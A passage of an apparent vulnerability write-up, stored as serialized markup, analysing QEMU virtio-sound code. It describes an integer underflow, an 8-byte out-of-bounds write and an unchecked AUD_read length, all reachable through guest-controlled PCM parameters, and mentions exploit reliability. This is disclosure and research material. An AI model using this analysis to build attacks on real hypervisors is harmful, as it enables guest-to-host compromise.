QSIMPLEQ_FIRST",{"type":23,"tag":213,"props":125038,"children":125039},{"style":220},[125040],{"type":28,"value":265},{"type":23,"tag":213,"props":125042,"children":125043},{"style":274},[125044],{"type":28,"value":405},{"type":23,"tag":213,"props":125046,"children":125047},{"style":268},[125048],{"type":28,"value":36319},{"type":23,"tag":213,"props":125050,"children":125051},{"style":220},[125052],{"type":28,"value":303},{"type":23,"tag":213,"props":125054,"children":125055},{"style":268},[125056],{"type":28,"value":124381},{"type":23,"tag":213,"props":125058,"children":125059},{"style":220},[125060],{"type":28,"value":2867},{"type":23,"tag":213,"props":125062,"children":125063},{"class":215,"line":1851},[125064],{"type":23,"tag":213,"props":125065,"children":125066},{"emptyLinePlaceholder":18},[125067],{"type":28,"value":530},{"type":23,"tag":213,"props":125069,"children":125070},{"class":215,"line":1864},[125071],{"type":23,"tag":213,"props":125072,"children":125073},{"style":220},[125074],{"type":28,"value":125075}," [...]\n",{"type":23,"tag":213,"props":125077,"children":125078},{"class":215,"line":1890},[125079],{"type":23,"tag":213,"props":125080,"children":125081},{"emptyLinePlaceholder":18},[125082],{"type":28,"value":530},{"type":23,"tag":213,"props":125084,"children":125085},{"class":215,"line":1899},[125086,125091,125095,125099,125103],{"type":23,"tag":213,"props":125087,"children":125088},{"style":220},[125089],{"type":28,"value":125090}," max_size ",{"type":23,"tag":213,"props":125092,"children":125093},{"style":274},[125094],{"type":28,"value":3190},{"type":23,"tag":213,"props":125096,"children":125097},{"style":257},[125098],{"type":28,"value":124149},{"type":23,"tag":213,"props":125100,"children":125101},{"style":220},[125102],{"type":28,"value":265},{"type":23,"tag":213,"props":125104,"children":125105},{"style":537},[125106],{"type":28,"value":125107}," // [1]\n",{"type":23,"tag":213,"props":125109,"children":125110},{"class":215,"line":1912},[125111,125116,125120,125124,125128,125132],{"type":23,"tag":213,"props":125112,"children":125113},{"style":268},[125114],{"type":28,"value":125115}," buffer",{"type":23,"tag":213,"props":125117,"children":125118},{"style":220},[125119],{"type":28,"value":303},{"type":23,"tag":213,"props":125121,"children":125122},{"style":268},[125123],{"type":28,"value":52117},{"type":23,"tag":213,"props":125125,"children":125126},{"style":220},[125127],{"type":28,"value":303},{"type":23,"tag":213,"props":125129,"children":125130},{"style":268},[125131],{"type":28,"value":124166},{"type":23,"tag":213,"props":125133,"children":125134},{"style":220},[125135],{"type":28,"value":944},{"type":23,"tag":213,"props":125137,"children":125138},{"class":215,"line":1921},[125139,125143,125147,125151,125155],{"type":23,"tag":213,"props":125140,"children":125141},{"style":268},[125142],{"type":28,"value":125115},{"type":23,"tag":213,"props":125144,"children":125145},{"style":220},[125146],{"type":28,"value":303},{"type":23,"tag":213,"props":125148,"children":125149},{"style":268},[125150],{"type":28,"value":52117},{"type":23,"tag":213,"props":125152,"children":125153},{"style":220},[125154],{"type":28,"value":303},{"type":23,"tag":213,"props":125156,"children":125157},{"style":268},[125158],{"type":28,"value":125159},"in_num\n",{"type":23,"tag":213,"props":125161,"children":125162},{"class":215,"line":3879},[125163],{"type":23,"tag":213,"props":125164,"children":125165},{"style":220},[125166],{"type":28,"value":125167}," );\n",{"type":23,"tag":213,"props":125169,"children":125170},{"class":215,"line":3887},[125171,125176],{"type":23,"tag":213,"props":125172,"children":125173},{"style":1362},[125174],{"type":28,"value":125175}," for",{"type":23,"tag":213,"props":125177,"children":125178},{"style":220},[125179],{"type":28,"value":123979},{"type":23,"tag":213,"props":125181,"children":125182},{"class":215,"line":3918},[125183,125187,125191,125196,125200,125204,125208,125213],{"type":23,"tag":213,"props":125184,"children":125185},{"style":1362},[125186],{"type":28,"value":103573},{"type":23,"tag":213,"props":125188,"children":125189},{"style":220},[125190],{"type":28,"value":400},{"type":23,"tag":213,"props":125192,"children":125193},{"style":268},[125194],{"type":28,"value":125195},"buffer",{"type":23,"tag":213,"props":125197,"children":125198},{"style":220},[125199],{"type":28,"value":303},{"type":23,"tag":213,"props":125201,"children":125202},{"style":268},[125203],{"type":28,"value":124313},{"type":23,"tag":213,"props":125205,"children":125206},{"style":274},[125207],{"type":28,"value":8388},{"type":23,"tag":213,"props":125209,"children":125210},{"style":220},[125211],{"type":28,"value":125212}," max_size) {",{"type":23,"tag":213,"props":125214,"children":125215},{"style":537},[125216],{"type":28,"value":125217}," // [2]\n",{"type":23,"tag":213,"props":125219,"children":125220},{"class":215,"line":3926},[125221,125226],{"type":23,"tag":213,"props":125222,"children":125223},{"style":257},[125224],{"type":28,"value":125225}," return_rx_buffer",{"type":23,"tag":213,"props":125227,"children":125228},{"style":220},[125229],{"type":28,"value":125230},"(stream, buffer);\n",{"type":23,"tag":213,"props":125232,"children":125233},{"class":215,"line":3986},[125234,125239],{"type":23,"tag":213,"props":125235,"children":125236},{"style":1362},[125237],{"type":28,"value":125238}," break",{"type":23,"tag":213,"props":125240,"children":125241},{"style":220},[125242],{"type":28,"value":313},{"type":23,"tag":213,"props":125244,"children":125245},{"class":215,"line":9132},[125246],{"type":23,"tag":213,"props":125247,"children":125248},{"style":220},[125249],{"type":28,"value":71124},{"type":23,"tag":213,"props":125251,"children":125252},{"class":215,"line":9150},[125253,125258,125262,125267,125271,125275,125279,125284,125288,125292],{"type":23,"tag":213,"props":125254,"children":125255},{"style":220},[125256],{"type":28,"value":125257}," size ",{"type":23,"tag":213,"props":125259,"children":125260},{"style":274},[125261],{"type":28,"value":3190},{"type":23,"tag":213,"props":125263,"children":125264},{"style":257},[125265],{"type":28,"value":125266}," AUD_read",{"type":23,"tag":213,"props":125268,"children":125269},{"style":220},[125270],{"type":28,"value":265},{"type":23,"tag":213,"props":125272,"children":125273},{"style":268},[125274],{"type":28,"value":36319},{"type":23,"tag":213,"props":125276,"children":125277},{"style":220},[125278],{"type":28,"value":303},{"type":23,"tag":213,"props":125280,"children":125281},{"style":268},[125282],{"type":28,"value":125283},"voice",{"type":23,"tag":213,"props":125285,"children":125286},{"style":220},[125287],{"type":28,"value":124},{"type":23,"tag":213,"props":125289,"children":125290},{"style":268},[125291],{"type":28,"value":95551},{"type":23,"tag":213,"props":125293,"children":125294},{"style":220},[125295],{"type":28,"value":944},{"type":23,"tag":213,"props":125297,"children":125298},{"class":215,"line":9195},[125299,125304,125308,125312,125316,125321,125325,125329],{"type":23,"tag":213,"props":125300,"children":125301},{"style":268},[125302],{"type":28,"value":125303}," buffer",{"type":23,"tag":213,"props":125305,"children":125306},{"style":220},[125307],{"type":28,"value":303},{"type":23,"tag":213,"props":125309,"children":125310},{"style":268},[125311],{"type":28,"value":3791},{"type":23,"tag":213,"props":125313,"children":125314},{"style":274},[125315],{"type":28,"value":8989},{"type":23,"tag":213,"props":125317,"children":125318},{"style":268},[125319],{"type":28,"value":125320}," buffer",{"type":23,"tag":213,"props":125322,"children":125323},{"style":220},[125324],{"type":28,"value":303},{"type":23,"tag":213,"props":125326,"children":125327},{"style":268},[125328],{"type":28,"value":124313},{"type":23,"tag":213,"props":125330,"children":125331},{"style":220},[125332],{"type":28,"value":944},{"type":23,"tag":213,"props":125334,"children":125335},{"class":215,"line":9301},[125336,125341,125346,125350,125354,125358,125362,125367,125371],{"type":23,"tag":213,"props":125337,"children":125338},{"style":257},[125339],{"type":28,"value":125340}," MIN",{"type":23,"tag":213,"props":125342,"children":125343},{"style":220},[125344],{"type":28,"value":125345},"(available, (",{"type":23,"tag":213,"props":125347,"children":125348},{"style":268},[125349],{"type":28,"value":36319},{"type":23,"tag":213,"props":125351,"children":125352},{"style":220},[125353],{"type":28,"value":303},{"type":23,"tag":213,"props":125355,"children":125356},{"style":268},[125357],{"type":28,"value":98335},{"type":23,"tag":213,"props":125359,"children":125360},{"style":220},[125361],{"type":28,"value":124},{"type":23,"tag":213,"props":125363,"children":125364},{"style":268},[125365],{"type":28,"value":125366},"period_bytes",{"type":23,"tag":213,"props":125368,"children":125369},{"style":274},[125370],{"type":28,"value":51308},{"type":23,"tag":213,"props":125372,"children":125373},{"style":537},[125374],{"type":28,"value":125375}," // [3]\n",{"type":23,"tag":213,"props":125377,"children":125378},{"class":215,"line":23557},[125379,125384,125388,125392],{"type":23,"tag":213,"props":125380,"children":125381},{"style":268},[125382],{"type":28,"value":125383}," buffer",{"type":23,"tag":213,"props":125385,"children":125386},{"style":220},[125387],{"type":28,"value":303},{"type":23,"tag":213,"props":125389,"children":125390},{"style":268},[125391],{"type":28,"value":124313},{"type":23,"tag":213,"props":125393,"children":125394},{"style":220},[125395],{"type":28,"value":125396},")));\n",{"type":23,"tag":213,"props":125398,"children":125399},{"class":215,"line":23592},[125400,125404,125408,125412],{"type":23,"tag":213,"props":125401,"children":125402},{"style":1362},[125403],{"type":28,"value":103573},{"type":23,"tag":213,"props":125405,"children":125406},{"style":220},[125407],{"type":28,"value":400},{"type":23,"tag":213,"props":125409,"children":125410},{"style":274},[125411],{"type":28,"value":20675},{"type":23,"tag":213,"props":125413,"children":125414},{"style":220},[125415],{"type":28,"value":125416},"size) {\n",{"type":23,"tag":213,"props":125418,"children":125419},{"class":215,"line":23600},[125420,125425,125429,125433],{"type":23,"tag":213,"props":125421,"children":125422},{"style":220},[125423],{"type":28,"value":125424}," available ",{"type":23,"tag":213,"props":125426,"children":125427},{"style":274},[125428],{"type":28,"value":3190},{"type":23,"tag":213,"props":125430,"children":125431},{"style":514},[125432],{"type":28,"value":517},{"type":23,"tag":213,"props":125434,"children":125435},{"style":220},[125436],{"type":28,"value":313},{"type":23,"tag":213,"props":125438,"children":125439},{"class":215,"line":23608},[125440,125444],{"type":23,"tag":213,"props":125441,"children":125442},{"style":1362},[125443],{"type":28,"value":125238},{"type":23,"tag":213,"props":125445,"children":125446},{"style":220},[125447],{"type":28,"value":313},{"type":23,"tag":213,"props":125449,"children":125450},{"class":215,"line":23617},[125451],{"type":23,"tag":213,"props":125452,"children":125453},{"style":220},[125454],{"type":28,"value":71124},{"type":23,"tag":213,"props":125456,"children":125457},{"class":215,"line":23659},[125458,125462,125466,125470,125474],{"type":23,"tag":213,"props":125459,"children":125460},{"style":268},[125461],{"type":28,"value":125115},{"type":23,"tag":213,"props":125463,"children":125464},{"style":220},[125465],{"type":28,"value":303},{"type":23,"tag":213,"props":125467,"children":125468},{"style":268},[125469],{"type":28,"value":124313},{"type":23,"tag":213,"props":125471,"children":125472},{"style":274},[125473],{"type":28,"value":666},{"type":23,"tag":213,"props":125475,"children":125476},{"style":220},[125477],{"type":28,"value":124655},{"type":23,"tag":213,"props":125479,"children":125480},{"class":215,"line":23692},[125481,125486,125490],{"type":23,"tag":213,"props":125482,"children":125483},{"style":220},[125484],{"type":28,"value":125485}," available ",{"type":23,"tag":213,"props":125487,"children":125488},{"style":274},[125489],{"type":28,"value":104038},{"type":23,"tag":213,"props":125491,"children":125492},{"style":220},[125493],{"type":28,"value":124655},{"type":23,"tag":213,"props":125495,"children":125496},{"class":215,"line":23700},[125497],{"type":23,"tag":213,"props":125498,"children":125499},{"style":220},[125500],{"type":28,"value":125501}," [...]\n",{"type":23,"tag":213,"props":125503,"children":125504},{"class":215,"line":23708},[125505],{"type":23,"tag":213,"props":125506,"children":125507},{"style":220},[125508],{"type":28,"value":58938},{"type":23,"tag":213,"props":125510,"children":125511},{"class":215,"line":23717},[125512],{"type":23,"tag":213,"props":125513,"children":125514},{"style":220},[125515],{"type":28,"value":3444},{"type":23,"tag":213,"props":125517,"children":125518},{"class":215,"line":23793},[125519],{"type":23,"tag":213,"props":125520,"children":125521},{"style":220},[125522],{"type":28,"value":2875},{"type":23,"tag":213,"props":125524,"children":125525},{"class":215,"line":23826},[125526],{"type":23,"tag":213,"props":125527,"children":125528},{"style":220},[125529],{"type":28,"value":1208},{"type":23,"tag":24,"props":125531,"children":125532},{},[125533,125534,125539,125540,125546,125548,125554,125556,125561,125562,125567,125569,125574],{"type":28,"value":124435},{"type":23,"tag":209,"props":125535,"children":125537},{"className":125536},[],[125538],{"type":28,"value":124441},{"type":28,"value":424},{"type":23,"tag":209,"props":125541,"children":125543},{"className":125542},[],[125544],{"type":28,"value":125545},"max_size",{"type":28,"value":125547}," is set to ",{"type":23,"tag":209,"props":125549,"children":125551},{"className":125550},[],[125552],{"type":28,"value":125553},"iov_size(in_sg, in_num)",{"type":28,"value":125555},". Both ",{"type":23,"tag":209,"props":125557,"children":125559},{"className":125558},[],[125560],{"type":28,"value":124166},{"type":28,"value":1466},{"type":23,"tag":209,"props":125563,"children":125565},{"className":125564},[],[125566],{"type":28,"value":124183},{"type":28,"value":125568}," are the same guest-controlled fields from ",{"type":23,"tag":209,"props":125570,"children":125572},{"className":125571},[],[125573],{"type":28,"value":123818},{"type":28,"value":124},{"type":23,"tag":24,"props":125576,"children":125577},{},[125578,125580,125585,125587,125593,125595,125601,125603,125609],{"type":28,"value":125579},"Later, at ",{"type":23,"tag":209,"props":125581,"children":125583},{"className":125582},[],[125584],{"type":28,"value":124476},{"type":28,"value":125586},", the code checks whether ",{"type":23,"tag":209,"props":125588,"children":125590},{"className":125589},[],[125591],{"type":28,"value":125592},"buffer->size >= max_size",{"type":28,"value":125594},". In the RX path, ",{"type":23,"tag":209,"props":125596,"children":125598},{"className":125597},[],[125599],{"type":28,"value":125600},"buffer->size",{"type":28,"value":125602}," tracks how many bytes have been written into ",{"type":23,"tag":209,"props":125604,"children":125606},{"className":125605},[],[125607],{"type":28,"value":125608},"buffer->data",{"type":28,"value":125610},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":23,"tag":24,"props":125612,"children":125613},{},[125614,125616,125621,125623,125629,125631,125636,125638,125644],{"type":28,"value":125615},"However, this does not match the allocation logic in ",{"type":23,"tag":209,"props":125617,"children":125619},{"className":125618},[],[125620],{"type":28,"value":123818},{"type":28,"value":125622},", which used: ",{"type":23,"tag":209,"props":125624,"children":125626},{"className":125625},[],[125627],{"type":28,"value":125628},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":28,"value":125630},". In other words, the allocation subtracts ",{"type":23,"tag":209,"props":125632,"children":125634},{"className":125633},[],[125635],{"type":28,"value":124542},{"type":28,"value":125637},", but the later bound in ",{"type":23,"tag":209,"props":125639,"children":125641},{"className":125640},[],[125642],{"type":28,"value":125643},"virtio_snd_pcm_in_cb",{"type":28,"value":125645}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":23,"tag":24,"props":125647,"children":125648},{},[125649,125651,125656,125658,125664,125666,125672,125674,125679,125681,125687,125689,125695,125697,125702,125704,125709],{"type":28,"value":125650},"Finally, at ",{"type":23,"tag":209,"props":125652,"children":125654},{"className":125653},[],[125655],{"type":28,"value":124500},{"type":28,"value":125657},", the code calls ",{"type":23,"tag":209,"props":125659,"children":125661},{"className":125660},[],[125662],{"type":28,"value":125663},"AUD_read",{"type":28,"value":125665}," with the following limit:\n",{"type":23,"tag":209,"props":125667,"children":125669},{"className":125668},[],[125670],{"type":28,"value":125671},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":28,"value":125673},". Notice how this bound does not take ",{"type":23,"tag":209,"props":125675,"children":125677},{"className":125676},[],[125678],{"type":28,"value":125545},{"type":28,"value":125680}," into account at all. That means if ",{"type":23,"tag":209,"props":125682,"children":125684},{"className":125683},[],[125685],{"type":28,"value":125686},"available",{"type":28,"value":125688}," is larger than the allocated buffer, and ",{"type":23,"tag":209,"props":125690,"children":125692},{"className":125691},[],[125693],{"type":28,"value":125694},"stream->params.period_bytes",{"type":28,"value":125696}," is also larger than the allocated buffer, ",{"type":23,"tag":209,"props":125698,"children":125700},{"className":125699},[],[125701],{"type":28,"value":125663},{"type":28,"value":125703}," will write past the end of ",{"type":23,"tag":209,"props":125705,"children":125707},{"className":125706},[],[125708],{"type":28,"value":125608},{"type":28,"value":125710}," - the third, and final, bug we found.",{"type":23,"tag":24,"props":125712,"children":125713},{},[125714,125716,125721,125723,125729],{"type":28,"value":125715},"Looking further at the code, we can see that ",{"type":23,"tag":209,"props":125717,"children":125719},{"className":125718},[],[125720],{"type":28,"value":125694},{"type":28,"value":125722}," is fully guest-controlled by issuing a ",{"type":23,"tag":209,"props":125724,"children":125726},{"className":125725},[],[125727],{"type":28,"value":125728},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":28,"value":125730}," request:",{"type":23,"tag":202,"props":125732,"children":125734},{"code":125733,"language":3244,"meta":7,"className":16566,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n uint32_t stream_id,\n virtio_snd_pcm_set_params *params)\n{\n virtio_snd_pcm_set_params *st_params;\n\n [...]\n\n st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n [...]\n\n st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n st_params->period_bytes = le32_to_cpu(params->period_bytes);\n st_params->features = le32_to_cpu(params->features);\n /* the following are uint8_t, so there's no need to bswap the values. */\n st_params->channels = params->channels;\n st_params->format = params->format;\n st_params->rate = params->rate;\n\n return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[125735],{"type":23,"tag":209,"props":125736,"children":125737},{"__ignoreMap":7},[125738,125746,125775,125792,125812,125819,125836,125843,125850,125857,125879,125886,125893,125900,125946,125989,126033,126041,126078,126114,126150,126157,126174],{"type":23,"tag":213,"props":125739,"children":125740},{"class":215,"line":216},[125741],{"type":23,"tag":213,"props":125742,"children":125743},{"style":230},[125744],{"type":28,"value":125745},"static\n",{"type":23,"tag":213,"props":125747,"children":125748},{"class":215,"line":226},[125749,125753,125758,125763,125767,125771],{"type":23,"tag":213,"props":125750,"children":125751},{"style":230},[125752],{"type":28,"value":57986},{"type":23,"tag":213,"props":125754,"children":125755},{"style":257},[125756],{"type":28,"value":125757}," virtio_snd_set_pcm_params",{"type":23,"tag":213,"props":125759,"children":125760},{"style":220},[125761],{"type":28,"value":125762},"(VirtIOSound ",{"type":23,"tag":213,"props":125764,"children":125765},{"style":274},[125766],{"type":28,"value":1696},{"type":23,"tag":213,"props":125768,"children":125769},{"style":268},[125770],{"type":28,"value":10735},{"type":23,"tag":213,"props":125772,"children":125773},{"style":220},[125774],{"type":28,"value":944},{"type":23,"tag":213,"props":125776,"children":125777},{"class":215,"line":524},[125778,125783,125788],{"type":23,"tag":213,"props":125779,"children":125780},{"style":230},[125781],{"type":28,"value":125782}," uint32_t",{"type":23,"tag":213,"props":125784,"children":125785},{"style":268},[125786],{"type":28,"value":125787}," stream_id",{"type":23,"tag":213,"props":125789,"children":125790},{"style":220},[125791],{"type":28,"value":944},{"type":23,"tag":213,"props":125793,"children":125794},{"class":215,"line":533},[125795,125800,125804,125808],{"type":23,"tag":213,"props":125796,"children":125797},{"style":220},[125798],{"type":28,"value":125799}," virtio_snd_pcm_set_params ",{"type":23,"tag":213,"props":125801,"children":125802},{"style":274},[125803],{"type":28,"value":1696},{"type":23,"tag":213,"props":125805,"children":125806},{"style":268},[125807],{"type":28,"value":98335},{"type":23,"tag":213,"props":125809,"children":125810},{"style":220},[125811],{"type":28,"value":2183},{"type":23,"tag":213,"props":125813,"children":125814},{"class":215,"line":543},[125815],{"type":23,"tag":213,"props":125816,"children":125817},{"style":220},[125818],{"type":28,"value":10964},{"type":23,"tag":213,"props":125820,"children":125821},{"class":215,"line":551},[125822,125827,125831],{"type":23,"tag":213,"props":125823,"children":125824},{"style":220},[125825],{"type":28,"value":125826}," virtio_snd_pcm_set_params ",{"type":23,"tag":213,"props":125828,"children":125829},{"style":274},[125830],{"type":28,"value":1696},{"type":23,"tag":213,"props":125832,"children":125833},{"style":220},[125834],{"type":28,"value":125835},"st_params;\n",{"type":23,"tag":213,"props":125837,"children":125838},{"class":215,"line":570},[125839],{"type":23,"tag":213,"props":125840,"children":125841},{"emptyLinePlaceholder":18},[125842],{"type":28,"value":530},{"type":23,"tag":213,"props":125844,"children":125845},{"class":215,"line":655},[125846],{"type":23,"tag":213,"props":125847,"children":125848},{"style":220},[125849],{"type":28,"value":104854},{"type":23,"tag":213,"props":125851,"children":125852},{"class":215,"line":1176},[125853],{"type":23,"tag":213,"props":125854,"children":125855},{"emptyLinePlaceholder":18},[125856],{"type":28,"value":530},{"type":23,"tag":213,"props":125858,"children":125859},{"class":215,"line":1202},[125860,125865,125869,125874],{"type":23,"tag":213,"props":125861,"children":125862},{"style":220},[125863],{"type":28,"value":125864}," st_params ",{"type":23,"tag":213,"props":125866,"children":125867},{"style":274},[125868],{"type":28,"value":3190},{"type":23,"tag":213,"props":125870,"children":125871},{"style":257},[125872],{"type":28,"value":125873}," virtio_snd_pcm_get_params",{"type":23,"tag":213,"props":125875,"children":125876},{"style":220},[125877],{"type":28,"value":125878},"(s, stream_id);\n",{"type":23,"tag":213,"props":125880,"children":125881},{"class":215,"line":1758},[125882],{"type":23,"tag":213,"props":125883,"children":125884},{"emptyLinePlaceholder":18},[125885],{"type":28,"value":530},{"type":23,"tag":213,"props":125887,"children":125888},{"class":215,"line":1767},[125889],{"type":23,"tag":213,"props":125890,"children":125891},{"style":220},[125892],{"type":28,"value":104854},{"type":23,"tag":213,"props":125894,"children":125895},{"class":215,"line":1789},[125896],{"type":23,"tag":213,"props":125897,"children":125898},{"emptyLinePlaceholder":18},[125899],{"type":28,"value":530},{"type":23,"tag":213,"props":125901,"children":125902},{"class":215,"line":1812},[125903,125908,125912,125917,125921,125926,125930,125934,125938,125942],{"type":23,"tag":213,"props":125904,"children":125905},{"style":268},[125906],{"type":28,"value":125907}," st_params",{"type":23,"tag":213,"props":125909,"children":125910},{"style":220},[125911],{"type":28,"value":303},{"type":23,"tag":213,"props":125913,"children":125914},{"style":268},[125915],{"type":28,"value":125916},"buffer_bytes",{"type":23,"tag":213,"props":125918,"children":125919},{"style":274},[125920],{"type":28,"value":511},{"type":23,"tag":213,"props":125922,"children":125923},{"style":257},[125924],{"type":28,"value":125925}," le32_to_cpu",{"type":23,"tag":213,"props":125927,"children":125928},{"style":220},[125929],{"type":28,"value":265},{"type":23,"tag":213,"props":125931,"children":125932},{"style":268},[125933],{"type":28,"value":98335},{"type":23,"tag":213,"props":125935,"children":125936},{"style":220},[125937],{"type":28,"value":303},{"type":23,"tag":213,"props":125939,"children":125940},{"style":268},[125941],{"type":28,"value":125916},{"type":23,"tag":213,"props":125943,"children":125944},{"style":220},[125945],{"type":28,"value":2867},{"type":23,"tag":213,"props":125947,"children":125948},{"class":215,"line":1838},[125949,125953,125957,125961,125965,125969,125973,125977,125981,125985],{"type":23,"tag":213,"props":125950,"children":125951},{"style":268},[125952],{"type":28,"value":125907},{"type":23,"tag":213,"props":125954,"children":125955},{"style":220},[125956],{"type":28,"value":303},{"type":23,"tag":213,"props":125958,"children":125959},{"style":268},[125960],{"type":28,"value":125366},{"type":23,"tag":213,"props":125962,"children":125963},{"style":274},[125964],{"type":28,"value":511},{"type":23,"tag":213,"props":125966,"children":125967},{"style":257},[125968],{"type":28,"value":125925},{"type":23,"tag":213,"props":125970,"children":125971},{"style":220},[125972],{"type":28,"value":265},{"type":23,"tag":213,"props":125974,"children":125975},{"style":268},[125976],{"type":28,"value":98335},{"type":23,"tag":213,"props":125978,"children":125979},{"style":220},[125980],{"type":28,"value":303},{"type":23,"tag":213,"props":125982,"children":125983},{"style":268},[125984],{"type":28,"value":125366},{"type":23,"tag":213,"props":125986,"children":125987},{"style":220},[125988],{"type":28,"value":2867},{"type":23,"tag":213,"props":125990,"children":125991},{"class":215,"line":1851},[125992,125996,126000,126005,126009,126013,126017,126021,126025,126029],{"type":23,"tag":213,"props":125993,"children":125994},{"style":268},[125995],{"type":28,"value":125907},{"type":23,"tag":213,"props":125997,"children":125998},{"style":220},[125999],{"type":28,"value":303},{"type":23,"tag":213,"props":126001,"children":126002},{"style":268},[126003],{"type":28,"value":126004},"features",{"type":23,"tag":213,"props":126006,"children":126007},{"style":274},[126008],{"type":28,"value":511},{"type":23,"tag":213,"props":126010,"children":126011},{"style":257},[126012],{"type":28,"value":125925},{"type":23,"tag":213,"props":126014,"children":126015},{"style":220},[126016],{"type":28,"value":265},{"type":23,"tag":213,"props":126018,"children":126019},{"style":268},[126020],{"type":28,"value":98335},{"type":23,"tag":213,"props":126022,"children":126023},{"style":220},[126024],{"type":28,"value":303},{"type":23,"tag":213,"props":126026,"children":126027},{"style":268},[126028],{"type":28,"value":126004},{"type":23,"tag":213,"props":126030,"children":126031},{"style":220},[126032],{"type":28,"value":2867},{"type":23,"tag":213,"props":126034,"children":126035},{"class":215,"line":1864},[126036],{"type":23,"tag":213,"props":126037,"children":126038},{"style":537},[126039],{"type":28,"value":126040}," /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":23,"tag":213,"props":126042,"children":126043},{"class":215,"line":1890},[126044,126048,126052,126057,126061,126066,126070,126074],{"type":23,"tag":213,"props":126045,"children":126046},{"style":268},[126047],{"type":28,"value":125907},{"type":23,"tag":213,"props":126049,"children":126050},{"style":220},[126051],{"type":28,"value":303},{"type":23,"tag":213,"props":126053,"children":126054},{"style":268},[126055],{"type":28,"value":126056},"channels",{"type":23,"tag":213,"props":126058,"children":126059},{"style":274},[126060],{"type":28,"value":511},{"type":23,"tag":213,"props":126062,"children":126063},{"style":268},[126064],{"type":28,"value":126065}," params",{"type":23,"tag":213,"props":126067,"children":126068},{"style":220},[126069],{"type":28,"value":303},{"type":23,"tag":213,"props":126071,"children":126072},{"style":268},[126073],{"type":28,"value":126056},{"type":23,"tag":213,"props":126075,"children":126076},{"style":220},[126077],{"type":28,"value":313},{"type":23,"tag":213,"props":126079,"children":126080},{"class":215,"line":1899},[126081,126085,126089,126094,126098,126102,126106,126110],{"type":23,"tag":213,"props":126082,"children":126083},{"style":268},[126084],{"type":28,"value":125907},{"type":23,"tag":213,"props":126086,"children":126087},{"style":220},[126088],{"type":28,"value":303},{"type":23,"tag":213,"props":126090,"children":126091},{"style":268},[126092],{"type":28,"value":126093},"format",{"type":23,"tag":213,"props":126095,"children":126096},{"style":274},[126097],{"type":28,"value":511},{"type":23,"tag":213,"props":126099,"children":126100},{"style":268},[126101],{"type":28,"value":126065},{"type":23,"tag":213,"props":126103,"children":126104},{"style":220},[126105],{"type":28,"value":303},{"type":23,"tag":213,"props":126107,"children":126108},{"style":268},[126109],{"type":28,"value":126093},{"type":23,"tag":213,"props":126111,"children":126112},{"style":220},[126113],{"type":28,"value":313},{"type":23,"tag":213,"props":126115,"children":126116},{"class":215,"line":1912},[126117,126121,126125,126130,126134,126138,126142,126146],{"type":23,"tag":213,"props":126118,"children":126119},{"style":268},[126120],{"type":28,"value":125907},{"type":23,"tag":213,"props":126122,"children":126123},{"style":220},[126124],{"type":28,"value":303},{"type":23,"tag":213,"props":126126,"children":126127},{"style":268},[126128],{"type":28,"value":126129},"rate",{"type":23,"tag":213,"props":126131,"children":126132},{"style":274},[126133],{"type":28,"value":511},{"type":23,"tag":213,"props":126135,"children":126136},{"style":268},[126137],{"type":28,"value":126065},{"type":23,"tag":213,"props":126139,"children":126140},{"style":220},[126141],{"type":28,"value":303},{"type":23,"tag":213,"props":126143,"children":126144},{"style":268},[126145],{"type":28,"value":126129},{"type":23,"tag":213,"props":126147,"children":126148},{"style":220},[126149],{"type":28,"value":313},{"type":23,"tag":213,"props":126151,"children":126152},{"class":215,"line":1921},[126153],{"type":23,"tag":213,"props":126154,"children":126155},{"emptyLinePlaceholder":18},[126156],{"type":28,"value":530},{"type":23,"tag":213,"props":126158,"children":126159},{"class":215,"line":3879},[126160,126164,126169],{"type":23,"tag":213,"props":126161,"children":126162},{"style":1362},[126163],{"type":28,"value":17040},{"type":23,"tag":213,"props":126165,"children":126166},{"style":257},[126167],{"type":28,"value":126168}," cpu_to_le32",{"type":23,"tag":213,"props":126170,"children":126171},{"style":220},[126172],{"type":28,"value":126173},"(VIRTIO_SND_S_OK);\n",{"type":23,"tag":213,"props":126175,"children":126176},{"class":215,"line":3887},[126177],{"type":23,"tag":213,"props":126178,"children":126179},{"style":220},[126180],{"type":28,"value":1208},{"type":23,"tag":24,"props":126182,"children":126183},{},[126184,126186,126191,126193,126199,126201,126206,126208,126213,126215,126221,126222,126227],{"type":28,"value":126185},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":23,"tag":209,"props":126187,"children":126189},{"className":126188},[],[126190],{"type":28,"value":474},{"type":28,"value":126192},") and signed (",{"type":23,"tag":209,"props":126194,"children":126196},{"className":126195},[],[126197],{"type":28,"value":126198},"s8",{"type":28,"value":126200},") samples. They encode the same waveform differently - silence is ",{"type":23,"tag":209,"props":126202,"children":126204},{"className":126203},[],[126205],{"type":28,"value":29496},{"type":28,"value":126207}," in ",{"type":23,"tag":209,"props":126209,"children":126211},{"className":126210},[],[126212],{"type":28,"value":474},{"type":28,"value":126214},", but ",{"type":23,"tag":209,"props":126216,"children":126218},{"className":126217},[],[126219],{"type":28,"value":126220},"0x00",{"type":28,"value":126207},{"type":23,"tag":209,"props":126223,"children":126225},{"className":126224},[],[126226],{"type":28,"value":126198},{"type":28,"value":124},{"type":23,"tag":18845,"props":126229,"children":126230},{},[],{"type":23,"tag":24,"props":126232,"children":126233},{},[126234],{"type":28,"value":126235},"To summarize:",{"type":23,"tag":131,"props":126237,"children":126238},{},[126239,126258,126276],{"type":23,"tag":135,"props":126240,"children":126241},{},[126242,126244,126249,126251,126256],{"type":28,"value":126243},"an integer underflow in the ",{"type":23,"tag":209,"props":126245,"children":126247},{"className":126246},[],[126248],{"type":28,"value":124313},{"type":28,"value":126250}," calculation in ",{"type":23,"tag":209,"props":126252,"children":126254},{"className":126253},[],[126255],{"type":28,"value":123818},{"type":28,"value":126257},", resulting in an 8-byte (or less) under-allocation",{"type":23,"tag":135,"props":126259,"children":126260},{},[126261,126263,126268,126269,126274],{"type":28,"value":126262},"a mismatch in the 